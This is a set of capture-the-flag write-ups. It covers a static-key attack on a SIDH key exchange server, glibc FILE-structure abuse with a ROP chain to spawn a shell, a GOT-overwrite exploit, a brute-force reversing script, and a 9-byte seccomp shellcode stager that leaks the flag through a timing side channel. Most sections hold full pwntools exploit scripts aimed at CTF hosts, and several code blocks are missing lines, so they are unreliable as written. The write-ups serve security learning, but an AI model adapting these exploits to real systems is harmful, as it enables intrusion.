• # SIDHE

Sidhe was a post-quatum crypto task of this year’s PlaidCTF.

## The Vulnerable Server

import hashlib
from Crypto.Cipher import AES
import sys
assert(sys.version_info.major >= 3)

# SIDH parameters from SIKEp434
# using built-in weierstrass curves instead of montgomery curves because i'm lazy
e2 = 0xD8
e3 = 0x89
p = (2^e2)*(3^e3)-1
K.<ii> = GF(p^2, modulus=x^2+1)
E = EllipticCurve(K, [0,6,0,1,0])
xP20 = 0x00003CCFC5E1F050030363E6920A0F7A4C6C71E63DE63A0E6475AF621995705F7C84500CB2BB61E950E19EAB8661D25C4A50ED279646CB48
yP20 = 0x0001AB066B84949582E3F66688452B9255E72A017C45B148D719D9A63CDB7BE6F48C812E33B68161D5AB3A0A36906F04A6A6957E6F4FB2E0
xQ20 = 0x0000C7461738340EFCF09CE388F666EB38F7F3AFD42DC0B664D9F461F31AA2EDC6B4AB71BD42F4D7C058E13F64B237EF7DDD2ABC0DEB0C6C
xQ21 = 0x000025DE37157F50D75D320DD0682AB4A67E471586FBC2D31AA32E6957FA2B2614C4CD40A1E27283EAAF4272AE517847197432E2D61C85F5
yQ20 = 0x0001D407B70B01E4AEE172EDF491F4EF32144F03F5E054CEF9FDE5A35EFA3642A11817905ED0D4F193F31124264924A5F64EFE14B6EC97E5
yQ21 = 0x0000E7DEC8C32F50A4E735A839DCDB89FE0763A184C525F7B7D0EBC0E84E9D83E9AC53A572A25D19E1464B509D97272AE761657B4765B3D6
xP30 = 0x00008664865EA7D816F03B31E223C26D406A2C6CD0C3D667466056AAE85895EC37368BFC009DFAFCB3D97E639F65E9E45F46573B0637B7A9
xP31 = 0x00000000
yP30 = 0x00006AE515593E73976091978DFBD70BDA0DD6BCAEEBFDD4FB1E748DDD9ED3FDCF679726C67A3B2CC12B39805B32B612E058A4280764443B
yP31 = 0x00000000
xQ30 = 0x00012E84D7652558E694BF84C1FBDAAF99B83B4266C32EC65B10457BCAF94C63EB063681E8B1E7398C0B241C19B9665FDB9E1406DA3D3846
xQ31 = 0x00000000
yQ30 = 0x00000000
yQ31 = 0x0000EBAAA6C731271673BEECE467FD5ED9CC29AB564BDED7BDEAA86DD1E0FDDF399EDCC9B49C829EF53C7D7A35C3A0745D73C424FB4A5FD2
P2 = E(xP20+ii*xP21, yP20+ii*yP21)
Q2 = E(xQ20+ii*xQ21, yQ20+ii*yQ21)
P3 = E(xP30+ii*xP31, yP30+ii*yP31)
Q3 = E(xQ30+ii*xQ31, yQ30+ii*yQ31)

def elem_to_coefficients(x):
l = x.polynomial().list()
l += [0]*(2-len(l))
return l

def elem_to_bytes(x):
n = ceil(log(p,2)/8)
x0,x1 = elem_to_coefficients(x) # x == x0 + ii*x1
return bytes(x0+x1)

def isogen3(sk3):
Ei = E
P = P2
Q = Q2
S = P3+sk3*Q3
for i in range(e3):
# Give generator of subgroup
phi = Ei.isogeny((3^(e3-i-1))*S)
# Ei = target curve of isogeny
Ei = phi.codomain()
# points on target curve
S = phi(S)
P = phi(P)
Q = phi(Q)
return (Ei,P,Q)

def isoex3(sk3, pk2):
Ei, P, Q = pk2
S = P+sk3*Q
for i in range(e3):
R = (3^(e3-i-1))*S
phi = Ei.isogeny(R)
Ei = phi.codomain()
S = phi(S)
return Ei.j_invariant()

def recv_K_elem(prompt):
print(prompt)
re = ZZ(input("  re: "))
im = ZZ(input("  im: "))
return K(re + ii*im)

supersingular_cache = set()
def is_supersingular(Ei):
a = Ei.a_invariants()
if a in supersingular_cache:
return True
result = Ei.is_supersingular(proof=False)
if result:
return result

def recv_and_validate_pk2():
a1 = recv_K_elem("a1: ")
a2 = recv_K_elem("a2: ")
a3 = recv_K_elem("a3: ")
a4 = recv_K_elem("a4: ")
a6 = recv_K_elem("a6: ")
Ei = EllipticCurve(K, [a1,a2,a3,a4,a6])
assert(is_supersingular(Ei))
Px = recv_K_elem("Px: ")
Py = recv_K_elem("Py: ")
P = Ei(Px, Py)
Qx = recv_K_elem("Qx: ")
Qy = recv_K_elem("Qy: ")
Q = Ei(Qx, Qy)
assert(P*(3^e3) == Ei(0) and P*(3^(e3-1)) != Ei(0))
assert(Q*(3^e3) == Ei(0) and Q*(3^(e3-1)) != Ei(0))
assert(P.weil_pairing(Q, 3^e3) == (P3.weil_pairing(Q3, 3^e3))^(2^e2))
return (Ei, P, Q)

def main():
sk3 = randint(1,3^e3-1)
pk3 = isogen3(sk3)
print("public key:")
print("a1:", elem_to_coefficients(pk3[0].a1()))
print("a2:", elem_to_coefficients(pk3[0].a2()))
print("a3:", elem_to_coefficients(pk3[0].a3()))
print("a4:", elem_to_coefficients(pk3[0].a4()))
print("a6:", elem_to_coefficients(pk3[0].a6()))
print("Px:", elem_to_coefficients(pk3[1][0]))
print("Py:", elem_to_coefficients(pk3[1][1]))
print("Qx:", elem_to_coefficients(pk3[2][0]))
print("Qy:", elem_to_coefficients(pk3[2][1]))
super_secret_hash = hashlib.sha256(str(sk3).encode('ascii')).digest()[:16]

for _ in range(300):
try:
# SIDH key exchange
pk2 = recv_and_validate_pk2()
shared = isoex3(sk3, pk2)
key = hashlib.sha256(elem_to_bytes(shared)).digest()
# test shared key
cipher = AES.new(key, AES.MODE_ECB)
ciphertext = input("ciphertext: ")
plaintext = cipher.decrypt(bytes.fromhex(ciphertext))
if plaintext == super_secret_hash:
print("How did you find my secret? Here, have a flag:")
with open("flag.txt","r") as f:
return
elif plaintext == b"Hello world.\x00\x00\x00\x00":
print("Good ciphertext.")
else:
except:
print("Validation error!")
return

if __name__ == '__main__':
main()


This code implements a Supersingular isogeny Diffie–Hellman key exchange (SIDH), specifically the De Feo, Jao, and Plut Scheme. This is a post-quantum key exchange mechanism based on graphs of isogenies $\phi$ (the edges) between supersingular elliptic curves $E$ (the vertices). The goal here is to recover the private key of the server.

The code reuses the private key portion sk3 up to 300 times. Also, it offers an oracle to determine if a shared key is valid, by decrypting a user suplied ciphertext. It also includes validation logic using the Weil pairing assert(P.weil_pairing(Q, 3^e3) == (P3.weil_pairing(Q3, 3^e3))^(2^e2)) to check independece of the supplied points by verfying their order.

In this scheme, Alice chooses a large random number $\alpha$ as private key. Then she calculates an isogeny $\phi_a$ from this number and two predefined points $P_A$, $P_B$ in the $E[2^n]$ torsion group of the scheme’s supersingular elliptic curve $E$. She then sends the parameters $(E_A = \phi_A(E), \phi_A(P_B), \phi_A(Q_B))$ to Bob. Bob does essentially the same calculation, but in $E[3^n]$. Once Alice receives Bob’s parameters $(E_B = \phi_B(E), \phi_B(P_A), \phi_B(Q_A))$, she can calculate the isogeny from $E_B$ by using her private key $\phi_B(P_A) + \alpha \phi_B(Q_A)$.

The scheme is illustrated in this graph (taken from the original publication):

## Static SIDH Attack

Reusing private keys in Diffie Hellman is a common use case, called static DH. With SIDH however, it is a very bad idea to use non-ephemeral keys. Since we have an oracle that tells us if a shared key is correct or not, we can employ an adaptive attack to recover the private key bit-by-bit (or actually trit-by-trit here).

As you can see in the code, the j-invariant is used as the shared key return Ei.j_invariant(). That is because the scheme guarantees that both parties end up on isomprphic curves, but not neccessarily on the same curve. The trick behind this attack is to calculate a legitimate isogeny giving $(E_B = \phi_B(E), R=\phi_B(P_A), S=\phi_B(Q_A))$ and doing the key exchange as Bob. Now we received a shared key in the form of a j-invariant of the agreed upon curve isomphism class. To recover the first bit of Alice’s private key we’ll then supply the values $(E_B = \phi_B(E), R, S+2^{n-1}R)$. Alice (the server) will now compute $R + \alpha (S+2^{n-1}R)$ and calculate a shared key based on the result. Since $R$ has order $2^n$, it holds that $\alpha (S+2^{n-1}R) = S$ iff $\alpha$ is even, because then:

$\alpha S + \frac{\alpha}{2} \cdot 2 \cdot 2^{n-1}R = \alpha S + \frac{\alpha}{2} \cdot 2^{n}R = \alpha S+ \frac{\alpha}{2} \cdot 0 = \alpha S$

So only if alpha is even, the shared key will be equal to the original (legitimate) one. Because of this, we just recovered the lowest bit of Alice’s private key. With the same trick we can recover all bits of the private key. For mathematical background information of the attack see this paper on insecurities of SIDH. To bypass the check via Weil pairing we need to include a scaling factor $\theta$. However, that is not possible for the highest bits. We therefore have to brute force a hand-ful of bits offline, which is not a problem.

## Exploit

The given server code does the computation on $E[3^n]$, so it is actually playing Bob not Alice. However, the Static SIDH attack works exactly the same. The only difference is that we view the server key in trits instead of bits: $\alpha= \alpha_0 + \alpha_1\cdot3^1 + \ldots + \alpha_i\cdot3^i$. Since a trit can have three possible values instead of two, we need to query the oracle more often per ‘position’. An that’s all!

A full exploit script (by manf since he was faster than me :/) can be found here.

• A static, no PIE, canary, AMD64 Binary, intended for pwny racing. Solved by faking glibc’s stdin/out FILE structures and writing a ROPchain into stack memory.

## Challenge Overview

At it’s core, the challenge looked like this in pseudo-decompiled-C. We can swap a single bit at an arbitrary address.

static volatile int loop;
while (loop < 1) {
unsigned int bitidx;
if (bitidx > 7)
break;
loop++;
}


## Unlimited Swaps

First, define some helper functions to swap a bit, write a byte and a bytestring to some (previously null) memory. To get an unlimited amount of swaps, we overwrite the sign bit of the loop variable. As it is declared as volatile, it is reloaded on the next compare and loop < 1 holds true.

def swapbitat(addr, bit):

for idx in range(8):
if (1 << idx) & value:

for i in range(len(buf)):

swapbitat(0x6D7333, 7)


## Leaking A Stack Pointer

stdin, stdout and stderr in C are pointers to some FILE struct. FILE is a typedef for _IO_FILE, which is defined in struct_FILE.h. Besides holding a fileno (i.e. stdin = 0, stdout = 1, …), glibcs implementation does a lot of buffering on files as well (see the setvbuf kind of functions). There are slides of Angelboy available, which do descibe the thechiques I used in detail: e.g. https://gsec.hitb.org/materials/sg2018/WHITEPAPERS/FILE%20Structures%20-%20Another%20Binary%20Exploitation%20Technique%20-%20An-Jie%20Yang.pdf

tl;dr, by messing with _IO_write_base, _IO_write_ptr and _IO_read_end of _IO_FILE we can get arbitrary read. The following C snippet shows this behaviour:

static char leakme[] = {'a', 'b', 'c', 'd'};
puts("test");
stdout->_IO_write_base = leakme;
stdout->_IO_write_ptr = &leakme[4];
puts("test");


Output:

test
testabcd


However, we can’t just overwrite the existing structure bit-by-bit, we would access corrupt pointers as stdin/out is accessed on every iteration of the loop. To solve this problem we swap a single bit inside of the stdout pointer (which is placed inside rw memory as well), so it points to some unused, zeroed out, rw space. Before we perform this “atomic stdout structure” swap of course we place a faked structure at this address.

def fakestdout(a, b):
return struct.pack('<28Q',
0x00000000006d53e3,
a,
0x00000000006d53e3,
a,
b,
0x00000000006d53e3,
0x00000000006d53e3,
0x00000000006d53e4,
0, 0, 0, 0, 0,
1,
0, 0,
0x00000000006d7d30,
0, 0, 0, 0, 0, 0, 0, 0, 0,
0x00000000006d6fe0)

writeto(0x006d7360, fakestdout(0x006d7da8, 0x006d7db0))
swapbitat(0x006d57a1, 5)
r.recvn(4)
stack = struct.unpack('<Q', r.recvn(8))[0]
print('stack at 0x{:x}'.format(stack))
swapbitat(0x006d57a1, 5)


We get some stack address leaked in return, and immediately change back stdout to the original struct by swapping the same bit again.

## Constructing A ROPchain

This part is easy, I used ROPgadget’s automatic ropchain generation feature ROPgadget.py --ropchain --binary pwn6. For some reason it doesn’t make use of a pop rax; ret; gadget for the syscall id, did it myself so it looks nicer.

## Arbitrary Write

Now we need to write our ropchain onto the stack. To get an arbitrary write we use the same technique we already used for leaking. This time we fake a stdin structure and let the “read buffer” point onto the stack by modifying _IO_buf_base and _IO_buf_end. As a result any stdlib call reading from stdin will “buffer” input wherever we want to.

To leave the loop, we send “000000:8” to trigger the break and start the ropchain. The many zeros are only placed there so it is a nice 8Bytes size.

## Final Sploit

from pwn import *
from struct import pack

r = remote('pwn6-01.play.midnightsunctf.se', 10006)

for idx in range(8):
if (1 << idx) & value:

for i in range(len(buf)):

def fakestdout(a, b):
return struct.pack('<28Q',
0x00000000006d53e3,
a,
0x00000000006d53e3,
a,
b,
0x00000000006d53e3,
0x00000000006d53e3,
0x00000000006d53e4,
0, 0, 0, 0, 0,
1,
0, 0,
0x00000000006d7d30,
0, 0, 0, 0, 0, 0, 0, 0, 0,
0x00000000006d6fe0)

def fakestdin(a, b):
return struct.pack('<28Q',
0x00000000006d5603,
0x00000000006d5603,
0x00000000006d5603,
0x00000000006d5603,
0x00000000006d5603,
0x00000000006d5603,
a,
b,
0, 0, 0, 0, 0,
0,
0, 0,
0x00000000006d7d40,
0, 0, 0, 0, 0, 0, 0, 0, 0,
0x00000000006d6fe0)

def rop():
p = pack('<Q', 0x00449b46) * 0x10  # ret
p += pack('<Q', 0x0000000000410433)  # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e0)  # @ .data
p += pack('<Q', 0x00000000004158a4)  # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x0000000000487b51)  # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000410433)  # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e8)  # @ .data + 8
p += pack('<Q', 0x0000000000444e00)  # xor rax, rax ; ret
p += pack('<Q', 0x0000000000487b51)  # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006a6)  # pop rdi ; ret
p += pack('<Q', 0x00000000006d50e0)  # @ .data
p += pack('<Q', 0x0000000000410433)  # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e8)  # @ .data + 8
p += pack('<Q', 0x0000000000449af5)  # pop rdx ; ret
p += pack('<Q', 0x00000000006d50e8)  # @ .data + 8
p += pack('<Q', 0x00000000004158a4)  # pop rax
p += pack('<Q', 59)
p += pack('<Q', 0x000000000040130c)  # syscall
return p

def sploit():
# unlimited swaps
swapbitat(0x6D7333, 7)

# create fake file struct to leak a stack ptr
writeto(0x006d7360, fakestdout(0x006d7da8, 0x006d7db0))

# detour & restore stdout to/from fake file struct
swapbitat(0x006d57a1, 5)
r.recvn(4)
stack = struct.unpack('<Q', r.recvn(8))[0]
print('stack at 0x{:x}'.format(stack))
swapbitat(0x006d57a1, 5)

# create fake file struct to smash the stack
writeto(0x6d7580, fakestdin(stack - 0x138, stack + len(rop())))
swapbitat(0x006d57a9, 5)

r.interactive()

if __name__ == '__main__':
sploit()

• A “kind of” blind pwning challenge, non-pic binary was provided (but not unusable out of the box because of some linker foo?).

user@KARCH ~ % nc 138.68.67.161 20004
[*] Wise man said: 'Think twice before speaking once'
[1] Think
[2] Speak
[3] Give Up
>1
[#] Enter Where: 4194304
[
ELF ]
[1] Think
[2] Speak
[3] Give Up
>3


The basic functionality was, that one could leak memory as often as he wants. But a 8 byte-write is allowed only once.

# Resolving Functions

Let’s start with leaking everything we need. First of all we obtain a pointer into libc by leaking from our own GOT. Then we can let pwntools DynELF do the rest of the work. Done.

libcptr = struct.unpack('<Q', leakat(0x00601018))[0] - 0x69000
d = DynELF(leakat, libcptr)
d.lookup('system')


# Unlimited Write

In the next step I crafted some unlimited writing primite. If we look at the implementation of the leaking functionality we can see that it is implemented using a write(stdout, myaddr, 8).

sym.imp.printf(" [#] Enter Where: ");
sym.imp.fflush(_reloc.stdout);
sym.imp.__isoc99_scanf("%lu", &var_10h);
sym.imp.puts("[ \n");
sym.imp.write(1, var_10h, 8);
sym.imp.puts(" ]");


Now, if we overwrite the reloc.write with read, a leak request at myaddr will lead to the execution of read(stdout, myaddr, 8). Even though we are reading from stdout, it is effectively the same as stdin. And by using this we now have unlimited writes.

# RIP & RDI Control

In a final step I wanted to execute system(“/bin/sh”). For getting RIP control I overwrote reloc.exit with an address of my choice. So exiting gives me RIP control, but RDI is not controllable at all (it is zero because of exit(0)).

If we look at the initialization routine of the binary we can see three calls to setbuf/setvbuf. And each of them dereferences a pointer from a controllable location (reloc.stdin/out/err) and uses it to call a controllable function with.

void sym.init_proc(void)
{
sym.imp.setvbuf(_reloc.stdin, 0, 2, 0);
sym.imp.setvbuf(_reloc.stdout, 0, 2, 0);
sym.imp.setbuf(_reloc.stderr, 0);
sym.imp.signal(0xe, sym.handler);
sym.imp.alarm(0x3c);
return;
}


closer look in asm:

0x004008db      488b05be0720.  mov rax, qword [obj.stderr]
0x004008e2      be00000000     mov esi, 0
0x004008e7      4889c7         mov rdi, rax
0x004008ea      e801feffff     call sym.imp.setbuf


The Idea is to overwrite setbuf with system and modify reloc.stderr to be a pointer pointing to /bin/sh. Stderr is never used inside the code, so nothing is going to crash. The /bin/sh string is placed in some unused memory (e.g. just at the end of the reloc section). If we have done this, we can now just call main or init_proc to get a shell. (At least I thought so, it crashed…)

# WTF

I don’t know what was going on on the remote side, but to me it seemed like the env pointer was wrong? So when doing a system(“/bin/sh”) libc would try to resolve the environment variables, but it got a wrong pointer and it would crash. Anyways, by calling execve directly this doesn’t happen, because we would have to do the job of supplying argv and env pointers. Supplying NULL is fine as well. And as lucky as we are, the second and third arguments are either NULL or some valid pointers. Shell.

from pwn import *

r = remote('138.68.67.161', 20004)

r.sendlineafter('>', '1')
r.recvuntil('[ \n')
return r.recvn(8)

r.sendlineafter('>', '2')
r.sendlineafter('What: ', str(value))

r.sendlineafter('>', '1')
r.recvuntil('[ \n')
r.send(struct.pack('<Q', value))

def sploit():
libcptr = struct.unpack('<Q', leakat(0x00601018))[0] - 0x69000

# resolve addresses. Use execve instead of system because of fucked up env ptr?
d = DynELF(leakat, libcptr)

# read is now write for unlimited write.

# place /bin/sh in unused mem, let reloc.stderr point there
xwrite(0x00601100, struct.unpack('<Q', b'/bin/sh\0')[0])
xwrite(0x006010a0, 0x00601100)

# setbuf is now execve

# exit is now main
xwrite(0x00601068, 0x00400930)

# exit to main -> init_proc -> execve("/bin/sh", 0, ?)
r.sendlineafter('>', '3')
r.interactive()

if __name__ == '__main__':
sploit()

• The challenge generates a mustache based on argv[1] input. Challenge authors supplied us with the target mustache, which we had to match.

user@KARCH ~/ctf/papa % ./papa_bear AAAAA
______   _______  ______   _______      ______   _______  _______  ______
(_____ \ (_______)(_____ \ (_______)    (____  \ (_______)(_______)(_____ \
_____) ) _______  _____) ) _______      ____)  ) _____    _______  _____) )
|  ____/ |  ___  ||  ____/ |  ___  |    |  __  ( |  ___)  |  ___  ||  __  /
| |      | |   | || |      | |   | |    | |__)  )| |_____ | |   | || |  \ \
|_|      |_|   |_||_|      |_|   |_|    |______/ |_______)|_|   |_||_|   |_|

dWMM=-        dWWMWWMMWWMWb  dWMMWWMWWMMWb        -=WMWb
dWMMP       dWWMWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMb        qMMb
MMMMb   dMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMb    dMMM
qMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMP
QMMMMMMMMMMMMMMMMMMMMMMMMMP  QMMMMMMMMMMMMMMMMMMMMMMMMMMP
QMMMMMMMMMMMMMMMMMMMP          QMMMMMMMMMMMMMMMMMMMP
QMMMMMMP                         QMMMMMMP



Like in babybear, the input transformation into the mustache was linear. So this time I tried to solve it without reversing at all, just by bruteforce.

## Patching

I tried to run the binary with python subprocess.getoutput aaaand it did not work. (output was always empty) A look with strace on the binary revealed that the output is written to stdin, and not stdout. As there was only one position where the output is written, I just patched the file descriptor from 0 to 1. (r2 -w papa_bear, seek to the write, and patch the rdi assignment to wa mov rdi, 1) Now everything works as expected.

## Bruteforcing

We now can just guess byte by byte until we match the desired mustache. Sometimes manual intervention is necessary to prevent a path explosion (it seems like the @ symbol can cause recursion).

import subprocess
import string

soll = """
dWWW=- dWWMWWWWWMWMb dMMWWWWWWWWWb -=MMMb
dWMWP dWWWMWWWMMWMMMWWWWWMMMMMMWMMMWWWMMMb qMWb
WMWWb dMWWMMMMMMWWWWMMWWWMWWWWWWMMWWWWMWMWMMMWWWWb dMMM
qMMWMWMMMWMMWWWMWMMMMMMMMWMMMMWWWMMWWMWMWMMWWMWWWWMWWMMWMMWP
QWWWWWWWMMWWWWWWWMMWWWWMMWP QWWWMWMMMMWWWWWMMWWMWWWWWWMP
QWMWWWMMWWMWMWWWWMWWP QWWMWWMMMWMWMWWWWMMMP
QMWWMMMP QMMMMMMP
"""

def normalize(data):
return ''.join(filter(lambda c: c if c in ['W', 'M'] else '', data)).replace('W', '1').replace('M', '0')

soll = normalize(soll)

states = ['HackTM{F4th3r bEaR s@y$: Smb'] while states: newstates = [] for state in states: for c in string.digits + string.ascii_letters + string.whitespace + r"""!"#%&'()*+,-./:;<=>?@[\]^_{|}~""": ist = subprocess.getoutput("./papa_bear '{}'".format((state + c).replace("'", "'\\''"))) ist = ''.join(ist.splitlines()[7:]) ist = normalize(ist) ist = ist[:ist.rfind('1') + 1] if soll.startswith(ist): newstates.append(state + c) states = newstates print(states)  • Obey the rules was a simple pwning / shellcoding challenge at HackTM. Loading in r2 we see the following: Download user@KARCH ~/ctf/rules % r2 obey_the_rules -- Press any key to continue ... [0x00400a70]> aa [x] Analyze all flags starting with sym. and entry0 (aa) [0x00400a70]> s main [0x00400ce1]> pdg undefined8 main(void) { int64_t iVar1; int32_t iVar2; undefined8 uVar3; int64_t in_FS_OFFSET; int64_t var_84h; int64_t var_78h; int64_t var_70h; int64_t var_8h; iVar1 = *(int64_t *)(in_FS_OFFSET + 0x28); sym.init_proc(); sym.imp.memset(&var_70h, 0, 100); sym.open_read_file((int64_t)"header.txt", 100, (int64_t)&var_70h); sym.imp.puts(&var_70h); var_84h._0_4_ = sym.open_read_file((int64_t)"description.txt", 800, (int64_t)obj.description); sym.imp.printf("\n %s\n ", obj.description); sym.imp.puts(" >> Do you Obey? (yes / no)"); sym.imp.read(0, obj.answer, 0xb); var_84h._0_4_ = sym.open_read_file((int64_t)"RULES.txt", 0x96, (int64_t)obj.rules); var_84h._4_2_ = (undefined2)((int32_t)var_84h >> 3); iVar2 = sym.imp.prctl(0x26, 1, 0, 0, 0); if (iVar2 < 0) { sym.imp.perror("prctl(PR_SET_NO_NEW_PRIVS)"); // WARNING: Subroutine does not return sym.imp.exit(2); } iVar2 = sym.imp.prctl(0x16, 2, (int64_t)&var_84h + 4); if (iVar2 < 0) { sym.imp.perror("prctl(PR_SET_SECCOMP)"); // WARNING: Subroutine does not return sym.imp.exit(2); } iVar2 = sym.imp.strcmp(obj.answer, "Y"); if (iVar2 == 0) { sym.set_context(); } else { sym.imp.system("/bin/sh"); } uVar3 = 0; if (iVar1 != *(int64_t *)(in_FS_OFFSET + 0x28)) { uVar3 = sym.imp.__stack_chk_fail(); } return uVar3; } [0x00400ce1]> pdg @sym.set_context void sym.set_context(void) { int64_t iVar1; int64_t var_8h; iVar1 = sym.imp.strlen(obj.answer); obj.answer[iVar1] = (code)0x59; sym.imp.strcpy(_obj.region, obj.answer); (*_obj.region)(0x539); return; } [0x00400ce1]>  First of all, we see that the r2 ghidra plugin is nice for quick decompilation needs. Second, we see what the challenge does: • printing some fancy headers • reading a maximum of 11 Bytes from stdin • loading seccomp rules unknown to us out of a file • if the input is “Y\0”, it will jump into our sumbitted input and executes it (the nullybte is replaced by another ‘Y’) • else it executes /bin/sh, which is killed due to seccomp So after excluding “Y\0” we have a total of 9 bytes left for shellcode. ## Testing for allowed syscalls First I checked which syscalls are allowed. If a syscall was forbidden, it would report illegal instruction, else a segmentation fault occurs. As we could not use nullbytes due to the strcpy, i checked the syscall id 0 case manually and used the following code for the other syscalls up to 255: xor rax, rax; mov al, {nr}; syscall; ud2;  Which compiles down to exactly 9 bytes. The ud2 is optional and should just crash immediately if the syscall succeeded. I found out that the syscalls (0 read, 2 open, 60 exit) are allowed. That’s enough to work with as the flag location was given and even if a write is lacking I could just use some sidechannel to exfiltrate the flag. ## Getting unlimited RCE To get unlimited RCE I planned to reread additonal shellcode by using something like read(0,$rip, amount). We need to get:

• rax = 0
• rdi = 0
• rsi = $rip • rdx = amount The only “trick” I used to save bytes was using push rbx; pop rax; (2 bytes) instead of moving registers with mov rax, rbx; (3 bytes). For getting rax = rdi = 0 I used the fact that register rbx would always be zero, which lead to the following shellcode. push rbx; push rbx; pop rax; pop rdi;  To get rsi right in front of our$rip I used the fact that the current top of stack just holds exactly that value.

pop rsi;


Lastly I wanted to read some bigger amount, so I just wrote 0xff to rdx’s high byte.

mov dh, 0xff;


Two bytes left for the syscall, we are ready to overwrite the code at \$rip :)

syscall;


## Sidechannels and Profit

For exfiltrating the flag there are two sidechannels which came to my mind.

• timing based (burn cpu cycles using some loop)
• blocked syscall based (1/0 oracle by calling a blocked syscall or exit normally)

I decided to go with the timing one. To speed things up one could implement fancy stuff like a binary search or burn CPU power depending on the currently exfiltrated character with that approach. I did not. So here is the final script stupidly bruteforcing all possibilities. Notice that I open the file twice to increment the fd id. Because the seccomp filter seemed to block read syscalls with fd==3.

from pwn import *
import time

context.clear(arch='amd64')

"""
push rbx;
push rbx;
pop rax;
pop rdi;
pop rsi;
mov dh, 0xff;
syscall;
"""
)

shellcraft.open('/home/pwn/flag.txt') +
shellcraft.open('/home/pwn/flag.txt') +
'xor rcx, rcx;' +
'mov al, [rsp + {}];' +
'cmp al, {};' +
'jne done;' +
'mov rcx, 0x3ffffff;' +
'times:\nloop times;done:;' +
shellcraft.exit(0)
)

def sploit(r, idx, ch):

if __name__ == '__main__':
flag = ''

while True:
print(flag)
for c in string.printable:
r = remote('138.68.67.161', 20001)
r.recvuntil('>>')
sploit(r, len(flag), ord(c))
a = time.time()
try:
r.recvuntil('yeet')
except EOFError:
pass
if time.time() - a > 0.8:
flag += c
break
r.close()
`